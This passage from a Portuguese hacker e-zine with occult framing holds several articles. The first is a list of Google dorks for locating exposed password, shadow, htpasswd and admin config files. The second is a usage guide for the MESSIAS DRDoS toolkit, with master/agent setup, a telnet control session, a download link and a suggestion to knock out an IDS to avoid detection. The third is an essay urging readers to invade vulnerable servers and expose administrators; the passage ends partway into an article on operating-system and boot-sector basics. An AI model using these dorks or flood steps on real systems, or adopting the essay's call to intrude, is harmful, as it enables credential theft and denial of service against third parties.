Quinta Operao URLS Nesta operao veremos uma clusula muito interessante a inurl: que permite restringir a procura de strings dentro de uma url. Vamos ver a sintaxe : inurl: passwd Existe ainda uma variao, a allinurl:, que podemos utilizar para outros fins, por exemplo combinando com outros parmetros : allinurl:users filetype:mdb allinurl:oreilly filetype:pdf allinurl:oreilly filetype:chm site:.ru allinurl:VISA filetype:xls Temos que observar bem as possibilidades de combinao que ns permitiro utilizar muitas procuras interessantes.

20

Sexta Operao No texto Nesta operao veremos uma clusula muito interessante a intext: que permite restringir a procura de strings dentro de um texto de uma pgina. Vamos ver a sintaxe : intext:exploits filetype:c

Outros Operadores Magickos related: Lista pginas com contedo similar. Exemplo : related:www.linux.trix.net cache: Lista a verso da pgina no cache do Google.Importante para saber a idade da pgina afim de verificar se uma informao ainda procede ou existe. Se voc acrescentar uma palavra na procura, ela surgir sublinhada Exemplo : related:www.plebe.com.br/freeminds related:www.linux.trix.net liber000 phonebook: Lista endereos e telefones, contudo isto s funciona nos EUA. Exemplo : phonebook:bart phonebook:homer+springfield Na segunda opo lista todos os Homer que moram em Springfield inanchor: Lista occrrncias em ncoras de texto em pginas. Exemplo inanchor:exploits

21

Seo 003h Frmulas Magickas

Apresentaremos agora um pequeno grimorio de frmulas mgickas, das quais podem ser utilizadas no Google. Muitas foram de autoria de outros irmos e tambm de minha parte. Vamos a elas : inurl:/allinrul: inurl:admin filetype:txt inurl:admin filetype:db inurl:admin filetype:cfg inurl:mysql filetype:cfg inurl:passwd filetype:txt inurl:iisadmin inurl:auth_user_file.txt inurl:orders.txt inurl:"wwwroot/*." inurl:adpassword.txt inurl:webeditor.php inurl:file_upload.php inurl:gov filetype:xls "restricted" index of ftp +.mdb allinurl:/cgi-bin/ +mailto intitle:/allintitle: intitle:"Index intitle:"Index intitle:"index intitle:"index intitle:"index intitle:"index intitle:"index intitle:"index 22 of" of" of" of" of" of" of" of" .sh_history .bash_history passwd people.lst pwd.db etc/shadow spwd master.passwd

intitle:"index of" htpasswd intitle:"index of" members OR accounts intitle:"index of" user_carts OR user_cart_vti_pvt intitle:index.of intitle:"index of" senhas.mdb intitle:"index of" usuarios.mdb allintitle: sensitive filetype:doc allintitle: restricted filetype :mail allintitle: restricted filetype:doc site:gov

password

23

Seo 004h Hackeando as URLS do Google

Podemos criar procuras padronizadas as nossas necessidades. Vamos ver alguns exemplos de pesquisa. http://www.google.com/search?q=%22exploits+zero+day%22 O caracter %22 significa a , que substitui automaticamente da pesquisa. Onde q= representa a query propriamente dita. http://www.google.com/search?num=10&&q=%22exploits+zero+day%22 A opo num, indica o nmero de urls a serem listadas no resultado da query. O valor num=10, lista 10 urls por pgina. http://www.google.com/search?hl=pt&q=%22exploits%22 http://www.google.com/search?wordt hl=pt&q=exploits Permite escolher com a opo hl, a interface padro de procura do Google em diversos idiomas, no o tradutor. http://www.google.com/search?safe=off&q=%22sexo%22 http://www.google.com/search?safe=on&q=%22sexo%22 Habilita e desabilita o safe mode, com a opo on e off. Com a opo off, contedo pornogrfico 24

ser listado, caso contrrio no. http://www.google.com/search?as_qdr=m1&q=%22exploits%22 Especifica a idade mxima de um resultado, onde m1 significa no mximo com 1 ms de idade. O valor pode variar de 1 a 12. Criando Formulrios Personalizados para suas Pesquisas possvel que o estudante possa criar formulrios personalizados para suas pesquisas utilizando o Google. Vamos mostrar abaixo alguns exemplos interessantes de cdigo.
<!--Egregora I--> <!--Frater Albertus Rabelais--> <html> <title>Egregora I</title> <body bgcolor=white> <p> <center> <img src=http://www.google.com/images/logo_sm.gif> <h1>Procura Personalizada no Google</center></h1> <hr> <form method=get action=http://www.google.com/search> Pesquisa: <input type=text name=q size=40 maxlength=255 value=> <input type=submit name=sa value=Pesquisar> </form> <hr> </body> </html>

Vamos agora a outro exemplo mais interessante :


<!--Egregora II--> <!--Frater Albertus Rabelais--> <html> <title>Egregora II</title> <body bgcolor=white> <p> <center> <img src=http://www.google.com/images/logo_sm.gif> <h1>Procura Personalizada no Google por Arquivo de Senhas</center></h1> <hr> <form method=get action=http://www.google.com/search> Pesquisa: <input type=text name=q size=40 maxlength=255 value=> <br> Tipo de Arquivo: <input type=text name=as_filetype size=40 maxlength=255 value=> <br> Dominio ou site (gov,edu,com,etc.): <input type=text name=as_sitesearch size=40 maxlength=255 value=> <br> <input type=submit name=sa value=Pesquisar> </form> <hr> </body> </html>

25

Estes pequenos e modestos exemplos podem ser utilizados em suas pginas ou mesmo em suas mquinas locais para facilitar a sua procura de informaes. Lembramos que o limite para o estudante est apenas na sua imaginao e na sua dedicao aos estudos. possvel ainda programar utilitrios para o Google, recomendo a visita a pgina de APIS do Google em http://www.google.com/apis/ Links teis : http://google-hacks.pagina.nl/ - Recomendado http://directory.google.com/Top/Computers/Hacking/ http://www.google.com/apis/ http://www.robotstxt.org/ - Evitando sua presena no Google

26

Discurso Final

Frateres e Sorores, Chegamos ao final deste nosso Liber e esperamos ter mostrado uma nova faceta de conhecimento para vocs. Todo o material aqui mostrado de propsito meramente educativo e em nenhum momento a nossa inteno prejudicar pessoa, instituio ou qualquer tipo de entidade. A responsabilidade da utilizao do mesmo est nas mos do estudante, por isso tenha cuidado com o ego e aproveite esta pequena contribuio de minha parte para que possamos juntos alcanar a iluminao. Recomendo que o estudo seja feito de maneira mais dedicada possvel, pois sempre lanaremos novos libri. A nossa misso est sendo fortalecida cada dia que pass pelo aparecimento d enovos irmos que estavam espalhados pela web e esto se concentrando em nossa Abadia. Temos tantas coisas a mostrar, ensinar e trocar com os Frateres e Sorores que desejam caminhar conosco no hacking. Lembramos a todos que estamos aqui divulgando a essncia do hacking, no alimentando egos, que desejam apenas mostrar-se frente a outros. O crime tambm por ns reprovado, todo aquele que utiliza o que est aqui para roubar informaes, bens materiais e o prximo que seja 1000 vezes amaldioado ! Apopantos Cacodaimonos ! Que seu trabalho seja dirigido e abenoado por todos os mestres que regem o nosso caminho, trazendo a luz, a sabedoria e a tolerncia ao nosso dia a dia. Desejo a todos meus votos de paz profunda.

27

MESSIAS
Distributed Reflection Denial of Service Toolkit
A verdade do Universo tudo aquilo que transitrio, no existe justia perfeita e nem maldade perfeita. Devemos ter a capacidade de enxergar a essncia de qualquer coisa, pois este o hacking, nossa filosofia. Leandro A. Thomas, vulgo FoxTrot Imagine um atacante buscando comprometer determinado alvo. Primeiramente, como ocorre na grande maioria das situaes, ele instintivamente realiza um fingerprinting na mquinaalvo com a tradicional ferramenta NMAP, buscando conhecer pontos vulnerveis no sistema atravs dos banners de resposta. Aps isto, o mesmo atacante tenta executar scripts que exploram verses dos diversos servios executados em seu alvo, porm sem sucesso algum. Um simples defacer (ou script-kiddie, como queiram) certamente iria desistir e partir para outra, porm algum determinado, seja um hacker ou cracker, tentaria algo mais: derrubar o servidor. Voc j se perguntou como ocorre este tipo de ataque? Antes de falar sobre a ferramenta MESSIAS interessante recordar alguns pontos importantes para o entendimento de como ela funciona. CONHECENDO O ATAQUE O tradicional ataque de negao de servio (DoS Denial of Service) consiste em derrubar determinado servio, fazendo com que o sistema tenha um comportamento anmalo, variando desde travamento de simples aplicao at do sistema operacional como um todo, resultando em reset para voltar responder. Isso ocorre em muitas aplicaes, remotas ou locais, porm h um alvo preferencial aos atacantes, que so os servidores web. No ano de 2000, um conceito mais aprofundado desta tcnica foi difundido pela comunidade de segurana, onde grandes sites como Yahoo!, CNN, e outros, foram derrubados atravs da utilizao de uma arquitetura distribuda em rvore, denominada Distributed Denial of Service (DDoS). Este ataque corresponde na utilizao de um conjunto de mquinas previamente comprometidas que servem como zumbis, obedecendo as instrues de seu n superior, e que enviam uma srie de pacotes contra seu alvo tornando-o inacessvel para seus clientes. Mesmo sendo uma arma poderosa nas mos de crackers e black-hats, houve um implemento que a tornou mais perigosa que o mtodo original, a elaborao de mais uma tcnica que deriva do tradicional DDoS: o Distributed Reflection Denial of Service, ou DRDoS. Esta tcnica segue um conceito interessante, trabalhando diretamente com o TCP/IP, spoofando o campo Source IP do cabealho IP a fim de bagunar o processo de handskahe de comunicao. Apenas para aos que no sabem, em uma comunicao que utiliza o protocolo TCP, h um processo de estabelecimento de conexo ponto-a-ponto entre as mquinas envolvidas. Uma breve exemplificao pode ser ilustrada abaixo:

28

Fig. 1 Estabelecimento de comunicao no processo de handshake Basicamente uma conexo estabelecida em trs etapas: a mquina solicitante envia um pacote com a flag de sincronizao setada (SYN) ao host destino, ele por sua vez responde que o servio requerido est ativo com as flags SYN e ACK, ou de forma negativa, realizando um reset de conexo com RST. Caso a resposta seja afirmativa, a mquina solicitante estabelece a comunicao atravs da flag ACK, finalizando a etapa de handshake. Este o bsico, visto que existem outras flags como FIN, URG, e outras, influenciando e tendo significados diferentes no protocolo. Para saber mais a respeito, recomendo ler o RFC 793, que especifica o TCP. Mas como este aperto-de-mo pode ser explorado em um ataque DRDoS? A idia de spoofar um endereo IP invlido pode ser interessante. Imagine se um endereo invlido, criado por ns, envie um pacote SYN mquina alvo, como ela responder? Para quem?

Fig. 2 Diagrama de uma anomalia no handshake A idia do ataque DRDoS consiste basicamente no envio de um pacote com um IP forjado, inexistente, fazendo com que o alvo gaste tempo e processamento do datagrama, no conseguindo responder a segunda etapa de comunicao, o acknowledgment, caindo em um DoS. Com certeza existem documentos mais especficos que abordam esse assunto com mais nfase nas tcnicas, dando exemplos, porm este no o objetivo do artigo. Caso queira se aprofundar em tcnicas de negao de servio, recomendo pesquisas na Securityfocus, Phrack Magazine e PacketStorm Security, que so grandes referncias para o hacking e segurana em geral; alm do nosso amigo Google, claro. MESSIAS A FERRAMENTA Agora sabendo um pouco sobre algumas tcnicas de ataque de negao, apresento a vocs a ferramenta MESSIAS. Ela foi originalmente desenvolvida para fins didticos, obviamente, sem carter malicioso, porm, apesar disso, haver aqueles que seguem o lado negro da fora, usando no apenas ela mas tambm outras para fins nada ticos. Deixo claro que todos os testes foram feitos em localhost e ambiente controlado, em uma LAN restrita sem risco a sistemas de terceiros. MESSIAS trabalha com a idia de ataque distribudo usando IP spoofing, como vimos

29

anteriormente, a tcnica DRDoS. Foi feita sob o sistema operacional Linux (Slackware, no caso), em linguagem C com o uso de programao IPC, ou InterProcess Comunication. A programao IPC estabelece um poder a mais quando descrevemos esta ferramenta, pois os daemons interagem entre si via socket, ocorrendo estabelecimento de um canal de comunicao em sistemas distribudos e hosts diferentes. O ambiente controlado pelo atacante, com o uso da ferramenta, nos proporciona uma arquitetura em nveis, chamados masters e agents, cuja definio est no prprio conceito de DDoS. O atacante basicamente dever obter acesso a um certo nmero de mquinas, que sero nossos zumbis, para ento poder deter o controle das mesmas para realizao de um ataque. O ataque correspondente um bsico SYN Flood, com os bits SYN e URG (flag de urgncia) setados, gerados pelo agente e sobrecarregando o alvo com inmeras requisies que exigem respostas. Isso possvel atravs do uso de sockets de baixo nvel, denominado raw sockets, que permitem a manipulao e criao de pacotes a serem enviados, assim podendo especificar todo seu cabealho. Sendo isso possvel, spoofamos o endereo IP de origem atravs de funes randmicas, mascarando o endereo real de onde a transmisso se inicia.

INSTALAO & USO Aos adeptos do sistema open source Linux, no haver problemas de uso. Qualquer pessoa que tenha o mnimo de conhecimento sobre o sistema operacional poder operar o MESSIAS. O arquivo Makefile possui as regras de compilao, bsicas, apenas um comando make ir compilar os mdulos criando object files e seus binrios. Existem trs arquivos gerados que so importantes para ns: o messias, binrio responsvel apenas em scannear determinada lista de IP previamente configurada buscando os daemons ativos (agentes e mestres); messias-master, o responsvel na criao de um processo mestre no primeiro nvel de nossa rvore, cuja finalidade comandar seus ns escravos (agentes); e messias-agent, por fim a ltima ramificao na cadeia de hosts zumbis, que efetuaro o ataque pelas ordens recebidas dos masters. Depois de ter compilado o cdigo-fonte e gerado corretamente os trs binrios, voc poder configurar uma lista de IPs e portas nos arquivos master.list e agent.list, que so padronizados em conter o endereo dos zumbis mestres e agentes, respectivamente. A sintaxe de configurao ocorre da seguinte forma: [ip-do-host]:[porta] Ambas as listas podero ajudar no controle das mquinas que esto sob poder do atacante, scaneando as portas definidas para estabelecer se esto respondendo ou no uma conexo. Verifique os parmetros utilizados apenas digitando ./messias, algo bem trivial. Porm, antes de scanear algo, voc deve ter um daemon rodando em alguma mquina, isso pode ser feito em seu ambiente de testes, executando em uma shell o master: $ ./messias-master & E em outro host, o agente, com um diferencial: voc dever ter acesso root, pois a criao de raw socket permitida apenas com usurio de privilgios altos. # ./messias-agent & Caso tenha percebido, colocamos o caractere & no final do comando para que o processo rode em background, liberando a shell para uso. Os processos criados no ficam ocultos de um simples comando ps, sendo de fcil deteco, apenas h uma camuflagem do argv[0] (primeiro argumento sendo nome do binrio); e tambm no so inseridos em algum script de boot, no sendo startados em um reboot do sistema. So processos simples, sem tratamento especial. Com a execuo de ambos os processos, as portas abertas so tcp/5011 e tcp/1105 para

30

o master e o agent, respectivamente, sendo padro. Caso queira definir de acordo com sua vontade, especifique no argv[1], como no exemplo abaixo (valendo para os dois): $ ./messias-master 4778 & Uma vez posto os processos em execuo, em sua mquina conecte-se ao mestre por Telnet na porta especificada (ou default). Quando for sucedida a conexo, o socket bloqueante estar ativo, ou seja, haver uma espera para sua entrada de dados, que ser uma senha configurada no arquivo messias.h para permitir seu acesso a shell: $ telnet localhost 5011 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. master <-------------- nossa senha Welcome to MESSIAS toolkit. Dev by FoxTrot messias> Uma vez dentro do ambiente, voc poder configurar sua rede escrava para realizar o bombardeio de pacotes. Defina os agentes, alvo da seguinte forma: messias> agents Push IP address to create your agent list. Type '.' to end. 1? 127.0.0.1 Port: 1105 Alias: localhost Pass: none 2? . messias> target ? 127.0.0.1 messias> port ? 80 messias> start Number of packages per agent: 1 messias> Neste exemplo, estamos com o agente na prpria mquina, colocando o endereo de loopback como agente configurado na porta 1105 (padro). Os campos alias e pass no esto ativos, so presentes apenas para uso futuro, numa prxima implementao da ferramenta. Depois definindo o alvo e porta a ser atacada, pode-se iniciar o processo com o comando start, que ir esperar pelo nmero de pacotes a ser enviados por cada agente. Aps um tempo, caso queira conferir o resultado, digite status: messias> status View status panel Victim IP: 127.0.0.1 Port: 80 Service is: Down End of STATUS info. messias> No caso, apenas mostrando sucesso, o servio HTTP presente na mquina foi derrubado, recusando futuras requisies remotas. Em uma rede interna, confira o resultado feito pelo tcpdump aps a mquina (192.168.10.2) receber um dos pacotes (da 192.168.10.5, onde se encontra o agente) do MESSIAS na porta 21 (note o bit URG setado, IP e porta gerada

31

por processo randmico): 14:39:40.464609 IP 155.131.225.217.53552 > xxxxxxxxxxxx.ftp: S 1:1(0) win 541 urg 256 0x0000: 4500 0028 0cdc 0000 ff06 66ec 9b83 e1d9 E..(......f..... 0x0010: c0a8 0a02 d130 0015 0000 0001 0000 0000 .....0.......... 0x0020: 5522 021d 0000 0100 0000 0000 0000 U"............ S para constar, a cada pacote gerado, o campo de payload alterado aleatoriamente, para evitar determinada filtragem. CONSIDERAES FINAIS "O saber bastante para o abuso ou a divulgao merecer todos os suplcios; o saber como se deve saber para deles servir-se e ocult-lo ser senhor do absoluto Eliphas Lvi MESSIAS uma ferramenta muito simples, programao bsica, sem complexidade alguma. bem verdade que ela pode ser melhorada, quem sabe a implementao de criptografia na interao entre os processos (para fugir de IDS), senhas para controle dos agentes (como ocorre nos mestres), ou alguma estrutura baseada em aliases para mapeamento da rede. Mas isso fica para o futuro. Gostaria de ressaltar que esta ferramenta foi originalmente desenvolvida apenas para fins educacionais, no inteligente sair por a derrubando sites, por exemplo. Cada cabea uma sentena. Imagine algo mais criativo para o uso dessa ferramenta: anlise de pacotes; testes de firewalls; ou voc est dentro de uma rede protegida por um IDS, Honeypot, ou qualquer outro sistema promiscuo, e queira passar por ele sem alert-lo, um DoS na mquina deste servio cairia bem neste caso. Use a imaginao! Por fim, gostaria de agradecer a todos os organizadores desta e-zine pela oportunidade dada a mim em expr uma ferramenta de minha autoria. Existem muitas pessoas que fazem algo interessante e s precisam de um empurro para apresentar seu trabalho comunidade. Download: http://www.dcc.fesurv.br/~leandro/messias Obrigado pessoal, e at a prxima! :)

32

H A C K I N G 93 !
Por Frater Arjuna fraterarjuna@gmail.com Caros Amigos, 93 ! A algum tempo estive envolvido em uma discusso sobre a postura dos thelemitas, como estou sempre no "mundo digital" me perguntei como deve ser a postura do hacker 93. Esse foi o motivo que me levou a escrever esse artigo que expressa uma opinio minha, se for de sua vontade concorde e faa como eu ou no. Peo apenas que ao ler as linhas que se seguem seja verdadeiro com vc mesmo , seja egoista e no egocentrista e se tiver alguma dvida no pense duas vezes e me mande um email. Deixe-me primeiramente pesquisar o cenrio virtual. Na internet de hoje com os canais de IRC assim como nas antigas BBS tudo pode ter mudado, exceto em um ponto: Voce o que vc sabe, sem conhecimento vc no nada. Imagina um espao onde vc pode mostrar suas opinies, realizar seus desejos, enfrentar seus medos, se conhecer melhor efim uma srie de coisas; assim a Internet hoje. o cenrio perfeito para a manifestao da Lei de Thelema. Para saber o que Lei de Thelema, esta a na minha opinio, melhor fonte: http://www.astrumargentum.org.br/ "A Lei do forte: esta a nossa lei e a alegria do mundo." Liber AL vel Legis cap.II v.21 O "forte" o que tem mais conhecimento, o mais persistente, o mais criativo, o mais inteligente assim por diante que fique entendido que essa fora nada tem a ver com fora fsica. Levando em considerao que o amior msculo do corpor o crebro e que seu alimento o conhecimento, sua maior fora o que vc sabe. Enquanto nos atiramos no abismo do conhecimento s conseguiremos entendimento e sabedoria se formos obejtivos. De que adianta sabe todas as linguagens de programao do mundo se no h um programa para serem escritos com elas? Portanto tenham em mente seu objetivo, que somente seu e de mais ningum. Eu por exemplo estudo informtica pq me traz satisfao o conhecimento e o que posso fazer com ele, uns estudam por status, outros por dinheiro, invadir sistemas, desprezar os que sabem menos... "Regozija, portanto, iniciado, pois quanto maior for tua prova, maior teu triunfo. Quando os homens te ultrajarem, e falarem contra ti falsamente, no tem dito o Mestre, Sagrados sois vs? Ainda assim, aspirante, deixa que tuas vitrias tragam a ti no a Vaidade, pois com o aumento do conhecimento acompanharia o aumento da Sabedoria. Ele que sabe pouco, pensa que sabe muito; mas o que sabe muito descobrira sua prpria ignorncia. Tu vs um homem sbio em sua prpria presuno? No h mais probabilidade de existir um tolo, do que ele."

33

Liber Librae v.4-5 Tendo usado seu conhecimeno corretamente e conseguido o sucesso como prova, seja com o desenvolvimento de um sistema ou como uma difcil invaso, comemore a aproveite. Cuidando sempre para que isso no traga a vaidade que o principal alimento do seu Ego, esse monstro interno que faz qualquer hacker ter atitude de um lammer babaca. Muitos j cairam pelo Ego alimentado pela vaidade, orgulho, arrogncia e prepotncia o maior exemplo chama-se Kevin Mitinick. "No sejas apressado em condenar outros; como conheces aquilo no lugar deles, tu poderias ter resistido a tentao? E mesmo se fosse assim, Porque deverias tu menosprezar aquele que mais fraco do que tu mesmo?" Liber Librae v.6 Um hacker thelemita portanto no despreza os que sabem menos porque, no preciso atingir o Grau 2 da Ordem DeMolay para compreender que o benefcio da dvida uma nescessidade. Voce mesmo poderia ter feito pior do que julga que outros tem feito. Ningum nasce sabendo... "Entretanto h os meus servos disfarados: pode ser que aquele mendigo adiante seja um Rei. Um Rei pode escolher sua vestimenta como ele quiser: no h teste seguro: mas um mendigo no pode esconder sua pobreza. Cuidado portanto! Ama a todos, pois pode ser que haja um Rei escondido! Dizes assim? Tolo! Se ele for um Rei, tu no podes machuc-lo." Liber AL vel Legis cap.II v.58-59 Em outras palavras: trate todos iguais pois nunca se sabe quem est do outro lado, pode ser que seja um rei ou um mendigo, um hacker ou um lammer. "O Temor o fracasso, e o precursor do fracasso; e a coragem o incio da virtude." Liber Librae v.7 "Desprezai tambm todos os covardes; soldados profissionais que no ousam lutar, mas brincam; tolos os tolos, desprezai!" Liber AL vel Legis Cap. III v.57 Se o servidor estiver vulnervel invade, se a aplicao estiver com problema explore, se a culpa do administrador exponha-o. Temos hoje, mais do que nunca, que expulsar essas ervas daninhas. Esse "profissionais" que brincam de programar, esses que so culpados pelos maiores problemas que temos que resolver. No tenha piedade, mas lembre-se de seu objetivo, ataque sempre o culpado. "No veleis vossos vcios em palavras virtuosas." Liber AL vel Legis cap.II v.52 No use nada, principalmente a Lei de Thelema, para justificar seus vcios. Lembre sempre que "Faze o que tu queres" NO quer dizer "Faze o que quiseres". O limite da Lei o bom senso, sei que mio complicado falar disso com algum que 16 anos mas o tempo o melhor remdio nestes casos. Tentei expr no artigo que a Lei de Thelema existe para ser vivida em todos as vertentes, e que enquanto sua mxima "Faze o que tu queres, h de ser tudo da Lei", a maior da liberdade tambm implica em uma responsabilidade enorme. A chave para o par a feclicidade o equilbrio que gera igualdade e unidade com seu obejtivo. "Lembra que a fora desequilibrada perniciosa; que a severidade desequilibrada apenas cueldade e opresso; mas que tambm a misericrdia desequilibrada apenas fraqueza que consentiria e incitaria o Mal. Obra com paixo; pensa com razo; s Tu mesmo." Liber Librae v.12 "Portanto, como j tem sido dito, Estabelee-te firmemente no equilbrio das foras, no centro da Cruz dos Elementos, a Cruz de cujo centro o Mundo Criativo brotou no nascimento da

34

aurora do Universo. S tu, portanto, pronto e ativo como os Silfos, mas evita frivolidade e capricho; s enrgico e forte como as Salamandras, mas evita irritabilidade e ferocidade; s flexivo e atento s imagens como as Ondinas, mas evita ociosidade e inconstncia; s laborioso e paciente como os Gnomos, mas evita grosseria e avarice." Liber Librae v.18-19 93, 93/93 Frater Arjuna

35

INTRODUO AOS SISTEMAS OPERACIONAIS


Por Vo (vo@motdlabs.org) Prefcio Este artigo direcionado a pessoas que desejem obter conhecimentos bsicos sobre sistemas operacionais. Tal conhecimento no serve somente quele com desejo de criar seu prprio OS, mas tambm a programadores de utilitrios em geral, que podem descobrir e avaliar o funcionamento do sistema operacional que utilizam atualmente para melhorar o funcionamento de seus programas. Se voc estiver procurando teoria pura de sistemas operacionais, leia um livro. Este artigo direcionado situao real e comum da interao e construo de sistemas operacionais com base na arquitetura x86 (porm apresenta alguma teoria bsica). Para a leitura deste artigo, de grande importncia um conhecimento bsico sobre C/C++ e assembly, sendo este ltimo no totalmente necessrio, pois os exemplos em assembly contm sempre descries de seu funcionamento. Alm disso, bom que voc tambm possuam alguma base nos sistemas numricos hexadecimal e binrio. Devo, sobretudo, avis-lo que no serei responsvel por quaisquer danos que possam ocorrer pela utilizao dos exemplos e algoritmos presentes neste artigo. Antes de utilizar os exemplos em discos que possua, verifique a seo sobre emuladores. Boa leitura! -- // -O que um sistema operacional (os)? Ao meu ver, um sistema operacional uma camada de software responsvel pelo gerenciamento de manuteno coerentes de recursos limitados presentes num computador. Caso no tenha entendido ou gostado da definio, d uma olhada na wikipedia ou em algum sistema de busca e voc poder encontrar centenas, seno milhares de definies diferentes. Para um usurio comum, um sistema operacional , nalgumas vezes, praticamente invisvel, e, em outras est gritantemente presente durante a utilizao do computador. Um exemplo do primeiro caso, seria o sistema operacional Linux, bastante difundido atualmente e que praticamente um *kernel rodeado de programas de usurio; quanto ao segundo caso, podemos citar um sistema operacional com interface grfica e gerenciamento da mesma e de sua interao presente no *kernel que todos ns conhecemos >:P

36

A preocupao de um sistema operacional reside na manuteno do sistema computacional e de sua utilizao, de modo que os dados nele presente contenham um mnimo de organizao e coerncia para que possam ser acessados e mantidos seguramente. O sistema operacional responsvel por manter os dados do usurio e manipul-los de maneira coerente, e ainda por integrar o hardware ao software de usurio. Essa integrao depende do sistema; h sistemas que mantm a distncia entre o software e o hardware da maneira mais invisvel possvel, enquanto outros podem deliberadamente permitir o acesso ao hardware, e ainda de maneira direta. Talvez voc esteja se perguntando porque necessrio colocar essa camada entre o software de usurio. Imagine a seguinte situao: o programa A tenta escrever no disco (em um arquivo), enquanto o programa B tenta fazer o mesmo; sem um sistema operacional, vrios problemas podem ocorrer, como a corrupo dos dados armazenados pelo programa A, por parte do programa B. Alm disso, veremos mais adiante que voc no poderia estar escutando msica no seu player preferido e lendo este artigo ao mesmo tempo sem um sistema operacional. No vou citar a histria dos sistemas operacionais por ser um tanto extensa e montona (se voc quiser saber mais sobre a histria dos sistemas operacionais, faa uma busca ou leia um livro). Os sistemas operacionais so geralmente construdos utilizando linguagens de programao bastante comuns, como C e assembly (e por essa razo, muitas vezes acabam herdando falhas de funes e bibliotecas escritas nestas linguagens, tornando-se assim um alvo para o hacking). A diferena na anlise da construo de um sistema operacional em relao a um programa de usurio est na interao: enquanto o sistema operacional tem de interagir com o hardware, o programa de usurio tem a necessidade de interagir com o prprio sistema operacional. A linguagem C pode ser utilizada por oferecer um excelente suporte para a manipulao de dados, porm a utilizao de somente C pode tornar a programao inicial um tanto difcil (seno impossvel), sendo, portanto, necessria utilizao de uma linguagem mais aplicada ao hardware; a escolha mais comum neste caso, assembly, porm, diferentemente de C, assembly no portvel em muitos casos, sendo, ento, necessrio reformulao de pedaos de cdigo escritos em assembly quando se deseja portar o sistema operacional para outras plataformas. Se voc deseja escrever um sistema operacional portvel, mantenha o seu cdigo assembly o mais portvel, compreensvel e pequeno possvel. Ocorre em alguns casos a utilizao de C++, devido sua orientao a objetos (convenhamos que trabalhar com classes bem legal ^^). Tanto na utilizao de somente C, quanto na combinao de C e C++, deve-se notar o fato de que voc no ter a biblioteca padro disponvel, e, no caso de C++, voc no poder utilizar algumas operaes como try, typeid, throw, new, delete e qualquer outra operao que necessite de suporte em tempo de execuo (runtime), a no ser que voc escreva seu prprio cdigo para lidar com tais operaes. Em relao biblioteca padro,a razo dela no poder ser utilizada se deve ao fato de que a biblioteca padro no igual em todos os sistemas operacionais e, na maioria dos casos, tambm no est habilitada a trabalhar diretamente com o hardware. Voc pode estar pensando: "Perai, mas se a biblioteca no igual em todos os sistemas operacionais, se eu escrever printf no sistema X, o que eu tenho que escrever no Y?". A resposta simples: "printf"! A implementao da biblioteca diferente e adaptada a cada sistema operacional, porm as funes possuem os mesmos rtulos. Assim, um mesmo "printf" imprime na tela de uma maneira num sistema operacional, enquanto em outro, esse "printf" tambm imprime na tela, porm de uma maneira, muitas vezes, totalmente diferente. Assim como h diferentes implementaes da biblioteca padro, caso esteja pensando em escrever um sistema operacional, voc pode escrever a sua. claro que voc ter de saber um pouco sobre hardware quando for ler algum disco, ou mesmo imprimir algo, mas no nada to absurdo que algum tempo de pesquisa no resolva, e, no fim deste artigo (se eu lembrar

37

=~~) eu colocarei algumas dicas em relao ao hardware comum em um x86 que podem ser realmente teis. Voc pode escrever sua prpria biblioteca para seu os ou utilizar bibliotecas existentes, mas que sejam voltadas para o desenvolvimento de os, no caso. Voltando s linguagens, apesar da soberania do C, existem sistemas operacionais escritos em outras linguagens. Como exemplo, temos o Sun Glasses, da Sun, ainda em desenvolvimento, que escrito em java e h tambm muitos exemplos em pascal. interessante, tambm, dizer que as bibliotecas de C so geralmente voltadas ao os para o qual sero criados os executveis, assim, no basta copiar uma lib de um os para outro, porqu o que as libs fazem traduzir o comando que o programa deseja executar em outro comando que seja reconhecvel para o os. Um exemplo o caso daquele os do tio Bill, onde, se voc debugar a funo open, ver que ela chama uma funo chamada CreateFile, que reconhecida pelo kernel do mesmo. Bem, vamos ao que interessa ^^ O BOOT Esse o princpio de tudo, o gnesis da computao! Voc dificilmente encontrar algo sobre boot em livros e artigos sobre teoria de sistemas operacionais, porm, na prtica, aqui que tudo comea. O boot, ou processo de boot, na verdade uma bateria de testes realizados pela Bios (x86), porm, utilizamos o termo comumente para nos referirmos a inicializao do os. Para quem no sabe, a Bios a melhor amiga do programador de os, pois ela fornece uma interface de trabalho com o hardware. Porm, a bios apresenta uma limitao: elas geralmente so escritas para modo real. Para quem pretende construir ou trabalhar com um sistema operacional num ambiente de 32 ou 64 bits, ela pode no ser muito til em alguns casos, porm, a bios guarda informaes valiosas, que podem servir de base quando estivermos noutros modos. Aps o boot, estamos em modo real. Para alguns isso j basta, mas para outros, preciso mais :P Os sistemas operacionais convencionais que no trabalham em modo real geralmente armazenam parmetros importantes da Bios, carregam o kernel, pulam (jmp, goto :P) para ele e entram em modo protegido, ou longo (no necessariamente nesta ordem). Se voc programa em assembly, talvez esteja questionando "Mas para onde vai EIP?", ou, se voc programa em C, provavelmente est pensando "Onde fica minha main()?". A resposta simples: no setor de boot! Aps o boot, a bios procura o disco de boot, que foi previamente configurado na mesma. Neste disco, a bios olha o primeiro *setor. Se houver neste setor, a assinatura de boot 0x55AA, a bios ler este setor para a memria e pular (jmp, goto) para ele. L o setor de boot far o que tiver que fazer, porm, se voc faz parte daquele pessoal que est acostumado a arquivos e tal, talvez voc esteja se perguntando como colocar um pedao de cdigo no setor inicial. Para quem programa em assembly, simples. Primeiro monte seu setor de boot, assegure-se que o mesmo possui 512 bytes, que seu cdigo est no incio do programa, e no aps os dados, no esquea da assinatura 0x55AA nos dois ltimos bytes. No utilize nenhuma interrupo de _D0S, ou de outro sistema em modo real (interrupes de bios so vlidas) depois compile seu cdigo em um arquivo binrio e coloque-o no disco de alguma maneira (utilizando algum programa, por exemplo). Se voc programa em C, as coisas so um tanto mais complicadas. Voc ter que configurar se linker para colocar o cdigo no incio do programa e para criar um arquivo binrio. Alm disso,

38

